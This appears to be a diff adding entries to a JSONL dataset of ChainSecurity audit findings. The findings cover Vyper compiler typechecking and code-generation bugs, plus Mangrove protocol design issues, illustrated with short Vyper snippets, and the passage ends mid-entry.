fail.\n\nExample:\n\n```\nstruct A:\na:uint\nstruct _A:\na:uint\n@external\n@view\ndef f(b:_A) -> uint256:\nreturn 1\n@external\ndef f_(b:A):\npass\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.11 Internal Function Arguments Location Set to","severity":"info","body":"CALLDATA in Typechecking\n\n```\nCorrectness Low Version 1\nCS-VYPER_MARCH_2023-\n```\nIn vyper.semantics.analysis.local, when a FucntionNodeVisitor is created, its arguments\nDataLocation are set to CALLDATA, regardless if they belong to an internal or external function. For\ninternal functions, the DataLocation should be memory. DataLocation is not used during code\ngeneration, so there are currently no consequences beside a wrong error message when trying to assign\nan internal function argument.\n\nAs an example, compiling the following:\n\n```\n@internal\ndef foo(a:uint256):\na = 1\n```\nraises the following exception: ImmutableViolation: Cannot write to calldata. In this case\nwe would not be writing to calldata.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.12 Internal Functions Only Called by __init__","severity":"info","body":"Are Also in the Runtime Code\n\n```\nDesign Low Version 1\nCS-VYPER_MARCH_2023-\n```\nInternal functions that are only called in the constructor are still included in the runtime code, increasing\nits size.\n\nFurthermore, the constructor can call internal functions, but these can't call other internal functions. This\nis not checked at compile time, but it causes an excecution failure upon deployment.\n\nExample of failing deployment:\n\n```\n@external\ndef __init__():\nself.f()\n@internal\ndef f():\nself.g()\n```\n```\n@internal\ndef g():\npass\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"5.13 parse_type() Can Be Avoided in Favor of","body":"Annotations\n\n```\nDesign Low Version 1\nCS-VYPER_MARCH_2023-\n```\nIn the code generation phase, types are parsed from AST objects when they could be recovered from the\nannotation metadatas added during typechecking.\n\nIn vyper.ast.signatures.function_signature, at line 135 and 169, the arguments and return\ntype are already contained in func_ast._metadata['type'], which is an instance of\nContractFunctionT.\n\nIn parse_AnnAssign` in vyper.codegen.stmt, the type could be stored in the AST node during local\nfunction analysis (AnnAssign nodes currently do not store _metadata['type']).\n\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"6.1 Default Return Value Evaluated Conditionally","body":"Note Version 1\n\nCalling an external function with default_return_value=a() will only evaluate a() after the external\ncall has been performed, if the call resulted in no return data. This behavior is undocumented and\nclashes with the usual semantics, where all arguments are evaluated.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} +{"title":"6.2 Order of Evaluation of Event Arguments","body":"Note Version 1\n\nAs in solidity, the order of evaluation of event arguments in Vyper is counter-intuitive, and doesn't follow\nthe usual conventions. First the indexed parameters are evaluated right to left, then the non-indexed\nparameters are evaluated left to right.\n\nIn the example, the internal calls are performed in the order self.a(), self.b(), self.c(), self.d():\n\n```\nevent A:\nb:indexed(uint256)\nc:uint\nd:uint\na:indexed(uint256)\n```\n```\n@internal\ndef a() -> uint256:\nreturn 1\n@internal\ndef b() -> uint256:\nreturn 2\n@internal\ndef c() -> uint256:\nreturn 3\n@internal\ndef d() -> uint256:\nreturn 4\n```\n```\n@internal\ndef foo():\nlog A(self.b(), self.c(), self.d(), self.a())\n```\nThis unusual behavior should be highlighted.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_March2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_March2023_audit.pdf"}} {"title":"6.1 No Protection for Keepers","body":"```\nDesign Medium Version 1 Risk Accepted\nISSUEIDPREFIX-\n```\nGenerally, keepers may just be interested in collecting the penalty of failing offers. In Mangrove however,\nan offer could always succeed unexpectedly due to changing on-chain conditions. In this case, a\nkeeper/taker may have executed an offer he did not actually intended to take and which may had a bad\nexchange rate. Note that offers may only fail when significant amounts of tokens are flashloaned to the\nmaker up front but the very same offer may succeed for lower amounts.\n\nUnaware keepers may be tricked by honeypot offers (offers that appear to fail but in reality don't fail) by\nmalicious makers.\n\nKeepers may protect themself by wrapping their call in a smart contract and checking for the expected\noutcome, but the code of Mangrove itself does not offer such a feature directly.\n\nRisk Accepted:\n\nMangrove Association (ADDMA) responded: Indeed all keepers should wrap their calls in a reverting\ncontract. This protective wrapper does not need to be inside Mangrove. We plan to provide a standard\nwrapper at a separate address.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf"}} {"title":"6.2 ECDSA Signature Malleability","body":"```\nDesign Low Version 1 Risk Accepted\nISSUEIDPREFIX-\n```\nThe permit function utilizes the ECDSA scheme. However missing checks for the v, r and s arguments\nallow attackers to craft malleable signatures. According to Yellowpaper Appendix F, the signature is\nconsidered valid only if v, r and s values meet certain conditions. The ecrecover for invalid values will\nreturn address 0x0 and verification will fail without informative error. The OpenZeppelin's ECDSA library\nperforms such checks and reverts with informative messages.\n\nRisk Accepted:\n\nMangrove Association (ADDMA) responded: Code changes necessary for improved error messages\nwould go past the contract size limit.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf"}} {"title":"6.3 No Minimum Value for gasreq","body":"```\nDesign Low Version 1 Acknowledged\nISSUEIDPREFIX-\n```\nEither to create a new offer or to update an existing one, the maker must provide a value for gasreq. In\nthe current implementation, there is no minimum required value. The value for gasreq may even be set to\n0, which means 0 gas requirements for the calls executed on the maker's side. Nevertheless, both calls\nare executed, the first call to makerExecute with all gas defined in gasreq and the second to\nmakerPosthook with the \"leftover\" gas from gasreq. With 0 gas these low-level calls are started but\nimmediately revert. The system could allow these calls to be skipped when the maker sets a zero / low\namount for gasreq.\n\nAcknowledged:\n\nMangrove Association (ADDMA) responded: The gas saved by treating 0-gasreq as a special case is\nnot worth the added code complexity.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_Mangrove_audit.pdf"}} @@ -3527,6 +3674,50 @@ {"title":"6.13 Array Length Mismatch","body":"```\nInformational Version 4 Code Corrected\nISSUEIDPREFIX-\n```\nThe batched functions of the TransferLib can take arrays differently sized arrays. The desired execution\nin that case is unclear.\n\nCode corrected:\n\nThe batched functions have been removed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf"}} {"title":"6.14 Explicit Variable Visibility","body":"```\nInformational Version 1 Code Corrected\nISSUEIDPREFIX-\n```\n\nAccessControlled has now a state variable _admin. However, it does not have explicit visibility defined.\nNote that this does not lead to any double getters since its by default internal. However, specifying\nexplicit visibility may make code clearer.\n\nNote that this is the case also for boundMakerContracts in AbstractRouter.\n\nCode corrected:\n\nThe code has explicit variable visibility now.\n\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf"}} {"title":"7.1 Updating Approvals on Order Update","body":"Note Version 1\n\nA user can update their orders by using Forwarder.updateOffer. It is important for users to\nremember that, in case the makerExecute hook to their order fails, they will have to reimburse the\ntaker. A reason for an order to fail is that there is not enough allowance given to the router to transfer\nfunds from the maker's reserve to MangroveOrder contract. This is highly likely to happen after a user\nupdates their offer by having it give more funds to the taker.","dataSource":{"name":"ChainSecurity/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/ChainSecurity_Mangrove_Association_ADDMA_MangroveOrder_audit.pdf"}} +{"title":"5.1 Note on PR 3211: Fix: Restrict STATICCALL to","body":"View\n\n```\nCorrectness High Version 1\nCS-VYPER_JANUARY_2023-\n```\nThis issue was identified in an unmerged pull request which had not been fully reviewed internally yet,\nand consequently had a higher likelihood of having high severity issues in it. It should not be directly\ncompared to merged pull requests to assess the overall security of Vyper. The pull request was later\nabandoned.\n\nPull Request 3211 fails to fix the problem it is addressing. This PR would want to restrict @pure functions\nfrom using staticcall, since pure function should not be able to perform external calls, as they can't\nbe statically checked to be pure.\n\nInstead of forbidding pure functions from using raw_call, the PR restricts raw_call with\nis_static_call = True to view functions. Both payable and nonpayable functions should also,\ntogether with view functions, be allowed to perform static calls.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.2 EnumT Does Not Implement compare_type","body":"```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nAny enum variable can therefore the assigned to any other. This compiles but should not:\n\n```\nenum A:\na\n```\n```\nenum B:\na\nb\n```\n```\n@internal\n```\n\n```\ndef foo():\na:A = B.b\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.3 Function Type_From_Annotation Performs No","body":"Validation\n\n```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nRefactored function type_from_annotation introduces three vectors for type system bugs to be\nintroduced in the compiler:\n\n```\n1.The context of the annotation (data location) is not checked, which matters for HashMap and\nEvents.\nHashMaps should only be declared as storage variables or values of other hashmaps, and\nevents should not be a valid type for variables, function arguments, or return types.\n2.Does not check that annotations instantiate the type correctly\nHashMap, String, DynArray, and Bytes should always be subscripted, however this is not\ncurrently enforced.\n3.Does not check that the return value from the namespace is a valid type.\nThe last line return namespace[node.id], will return any namespace element instead of\nonly types: beside types that need subscripts, this could be VarInfos or builtins.\n```\nStricter validation should be performed on the input and outputs of type_from_annotation()","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.4 Function _Check_Iterator_Modification Has","body":"False Positive and False Negatives\n\n```\nCorrectness Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nVyper disallows modifications to an iterator in the body of a loop through the\n_check_iterator_modification python function.\n\nBecause of how the syntactic structure is checked to perform this semantic analysis step,\n_check_iterator_modification is susceptible to both false positives and false negatives.\n\nFalse negative example (this compiles but should not because self.a.iter is modified in the loop\nbody):\n\n```\nstruct A:\niter:DynArray[uint256, 5]\na: A\n```\n```\n@external\ndef foo():\nself.a.iter = [1,2,3]\nfor i in self.a.iter:\nself.a = A({iter:[1,2,3,4]})\n```\nFalse positive example (this does not compile, but should):\n\n\n```\na: DynArray[uint256, 5]\nb: uint256[10]\n@external\ndef foo():\nself.a = [1,2,3]\nfor i in self.a:\nself.b[self.a[1]] = i\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.5 HashMap Are Declarable Outside of the","body":"Storage Scope\n\n```\nCorrectness Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nThe check that HashMaps are declared as storage variable has been suppressed after the frontend type\nrefactor. The following is now commented out:\n\n```\n# if location != DataLocation.STORAGE or is_immutable:\n# raise StructureException(\"HashMap can only be declared as a storage variable\", node)\n```\nAn equivalent check has not been reinstated elsewhere. This issue originates from\ntype_from_annotation() not accepting the DataLocation anymore.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.6 Interface Does Not Accept Function Names","body":"Used for Builtins\n\n```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nInstances of InterfaceT are instantiated by calling VyperType.__init__() and passing a list of\nmembers to be added to the type. The members are validated through validate_identifier(),\nwhich also checks that they do not collide with the builtin namespace. This is needlessly restricting for\nexternal interfaces. A Vyper contract will not be able to call some contracts without resorting to low level\ncalls.\n\nThe following does not compile:\n\n```\ninterface A:\ndef send(): view\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.7 InterfaceT Does Not Implement Type","body":"Comparison\n\n```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nTypechecking is not performed between interface types, a variable of any interface type can be assigned\nto any other interface typed variable. The reason is that InterfaceT does not implement a custom\n\n\ncompare_type(), and reuses the one from VyperNode, according to which two instances of\nInterfaceT represent the same type, regardless of their attributes.\n\nThe following should not compile, but does:\n\n```\nfrom vyper.interfaces import ERC\n```\n```\ninterface A:\ndef f(): view\n```\n```\n@internal\ndef foo():\na:ERC20 = A(empty(address))\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.8 InterfaceT Type Comparison Is Incorrect for","body":"Return Types\n\n```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nMethod compare_signature of ContractFunctionT compares two functions to check wether an\ninterface function is implemented in the module.\n\nTo properly implement a function type, we should be able to receive at least whatever type could be\npassed as argument to the interface function, and we should return at most whatever could be returned\nby the interface function. This means that the type of arguments should be a supertype of the interface\nfunction argument type, and the type of return should be a subtype of the interface function return type.\n\nThis matters with hierarchical types, which in Vyper are String[n], Bytes[n], and\nDynArray[type, n]. When m < n, String[m] is a subtype of String[n].\n\nIn term of a practical example, the following compiles but should not:\n\n```\ninterface A:\ndef f() -> String[10]: view\n```\n```\nimplements:A\n```\n```\n@external\ndef f() -> String[12]:\nreturn '0123456789ab'\n```\nSomebody wanting to interact with the contract through interface A expects that f() returns at most 10\ncharacters, however here f() is returning 12 characters. The order of compare_type() for return\ntypes should be reversed.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.9 Note on Pull Request 3104: Refactor: Optimize","body":"Calldatasize Check\n\n```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\n\nThis PR removes an unconditional check that calldata.size >= 4 before the selector matching. It\nintroduces an optional check that calldata.size > 0, which is included only if any of the selectors for\nthe external functions is 0x00000000.\n\nEvery external function already checks that calldata.size >= 4 + argsize, the consequences of\nthis PR are subtle differences in behavior when calldata.size < 4.\n\nWhen calldata.size < 4, before, no selector would ever be matched, and we would end up in the\nfallback function. Now, when calldata.size < 4 we could happen to match a selector ending with\nzeros, for example selector 0x11223300 (4 bytes) is now matched by calldata 0x112233 (3 bytes). We\nnow execute the function, which guards against calldata.size < 4 with an assert, which cause a\nREVERT. So now, instead of unconditionally going to the fallback function with calldata.size < 4,\nwe either go to fallback if nothing is matched, or we revert if something is matched.\n\nThis behavior is probably not what we expect after the refactor.\n\nAn alternative possibility for optimization which could be evaluated is to remove the\ncalldata.size >= 4 + argsize assert when argsize is 0, since if the calldata.size >= 4\ninitial check is kept, matching any selector implies passing the assert if argsize == 0.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.10 Pure and View Functions Can Emit Events","body":"```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nEvent emission is a state mutating operation, and causes STATICCALL to revert. It is therefore\ndisallowed in pure and view functions in Solidity. In Vyper however, a pure or view function can emit\nevents through the log statement, or the raw_log() builtin. If a pure or view external function is\ncalled, vyper will try generating a STATICCALL to it, but if it emits an event the function will revert.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.11 implements Statement Does Not Check","body":"Functions Mutability\n\n```\nDesign Medium Version 1\nCS-VYPER_JANUARY_2023-\n```\nthe implements statement checks if the module's interface implements the functions in an interface,\neither imported or defined with an interface statement. The type of the function arguments are checked,\nbut the mutability of functions is not considered. The mutability could be seen as a hierarchical type,\nwhere the implementing function can only have mutability equal or lower than the interface function it\nimplements.\n\nThis compiles but should not:\n\n```\ninterface A:\ndef f(a:uint256): view\n```\n```\nimplements:A\n```\n```\n@external\ndef f(a:uint256): #visibility is nonpayable instead of view\npass\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.12 AnnAssign Allows Tuples Assignment,","body":"Assign Forbids Them\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nvisit_Assign in vyper.semantics.analysis.local ensures that the right hand side of an\nassignment is not a node of type tuple, but visit_AnnAssign does not. Is there a rationale behind this\ndifference of behavior?","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.13 Call to Self Check Replicated Twice in","body":"FunctionDef Analysis\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nLines 113-124 of semantics/analysis/module.py check that a function does not call itself\nrecursively. Line 126-144 replicate this check but with more generality, since a call to self is also a cyclic\ncall. The check at line 113-124 is redundant.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.14 Code Duplication When Return Type of a","body":"Function Is a Tuple\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nThe condition at line 322 of semantics/types/function.py treats the case where the return\nannotation of a function is a tuple, getting the type by iterating over the individual tuple elements and\nbuiling the TupleT:\n\n```\nelif isinstance(node.returns, vy_ast.Tuple):\ntuple_types: Tuple = ()\nfor n in node.returns.elements:\ntuple_types += (type_from_annotation(n),)\nreturn_type = TupleT(tuple_types)\n```\nHowever, calling type_from_annotation() directly with the ast.Tuple node as argument achieves\nthe same result, using the equivalent code in TupleT.from_annotation():\n\n```\nvalues = node.elements\ntypes = tuple(type_from_annotation(v) for v in values)\nreturn cls(types)\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.15 Comment Referring to Code as Dead Is","severity":"info","body":"Incorrect\n\nDesign Low Version 1\n\n\n```\nCS-VYPER_JANUARY_2023-\n```\nFunction types_from_BinOp in semantics/analysis/utils.py contains the comment:\n\n```\n# CMC 2022-07-20 this seems like unreachable code\n```\nin the handling of rhs of a division/modulus operation being 0.\n\nThe code is indeed reachable. Example:\n\n```\na:uint\n```\n```\n@internal\ndef foo() -> uint256:\nreturn self.a / 0\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.16 Comment Uses Outdated Type Classes","body":"Name\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nComment at line 91 of vyper/semantics/analysis/module.py uses the InterfacePrimitive\nclass name which has been deprecated in favor of InterfaceT.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.17 Constant Can Be Declared With Same Name","body":"as Storage Variable\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nA constant can be declared to have the same name as a storage variable, if the constant declaration\nfollows the storage variable declaration. However a storage variable can't be declared if a constant of the\nsame name is already declared. This is inconsistent with what happens with immutables (can't have\nsame name regardless of order).\n\nThis compiles:\n\n```\na: uint\na: constant(uint256) = 1\n```\nBut this doesn't compile, while having the same semantics:\n\n```\na: constant(uint256) = 1\na: uint\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.18 ContractFunctionT Incorrect Namespace","body":"Argument Check\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nThe following check in ContractFunctionT.from_FunctionDef() is redundant for contract\nfunction definitions, and wrong for interface function declarations:\n\n```\nif arg.arg in namespace:\nraise NamespaceCollision(arg.arg, arg)\n```\nAt this point, we are still building the module namespace, so the check could pass depending on the\norder of module body elements.\n\nThis doesn't compile:\n\n```\na:constant(uint256) = 1\ninterface A:\ndef f(a:uint256): view\n```\nWhile this functionally equivalent code does compile:\n\n```\ninterface A:\ndef f(a:uint256): view\na:constant(uint256) = 1\n```\nWith module function definitions, it will not compile in both cases, since the namespace is also checked in\nlocal analysis, but the error message will be different depending on order.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.19 Dead Code in _get_module_definitions","body":"```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nIn semantics/types/user.py, the code to validate that functions with the same name extend each\nother input in _get_module_definitions() is unused, since the same logic is already implemented\nin from_FunctionDef of ContractFunctionT. The code at lines 424-439 will never be executed, since\nthe condition at line 424 is true, since functions with the same name are not allowed at the module level.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.20 Decorators Allowed Around Interface","body":"Functions\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nIn interface definitions, decorators can be used over function declarations. The decorator has however no\neffect on the compiler's behaviour. This compiles:\n\n```\ninterface A:\n@asdfg\ndef f(): view\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.21 Enum Members Are Not Valid as Keyword","body":"Argument Defaults\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nFunction check_kwargable doesn't handle the case of Enum nodes. The following does not compile:\n\n```\nenum A:\na\n```\n```\n@external\ndef f(a:A = A.a):\npass\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.22 Errors Misreport Column Offset for Vyper","body":"Preparsed Keywords\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nThe tokenizer output is annotated with lines and columns offsets, which are then used when annotating\nAST nodes. Some vyper keywords such as log, event, struct, and interface, are replaced with the\npython keyword class before parsing. The class tokens differ in position with the vyper tokens, so the\ncolumn offset is misaligned for certain errors. For example the following code (which does not compile)\nproduces an error that misreports the position of the undeclared variable d.\n\n```\nevent A:\nb:uint\n```\n```\n@external\ndef f():\nlog A(d)\n```\nThe following error is raised, with the ascii art arrow pointing to the wrong location:\n\n```\nUndeclaredDefinition: 'd' has not been declared.\ncontract \"VyperContract:7\", function \"f\", line 7:\n6 def f():\n---> 7 log A(d)\n-------------------^\n8\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.23 ExprInfo for Tuple Allows Assigning to","body":"Immutables\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nLine 249-251 of vyper/semantics/analysis/base.py guard against assignment to an already\nassigned immutable variable. However the is_immutable field is left blank when creating an\nExprInfo for a tuple (vyper/semantics/analysis/utils.py:90-97).\n\nThe following code generates an error in code generation, instead of typechecking:\n\n```\nc:(uint256, uint256)\nd: public(immutable(uint256))\ne: immutable(uint256)\n```\n```\n@external\ndef __init__():\nd = 1\ne = d\n```\n```\n@external\ndef f():\nd, e = 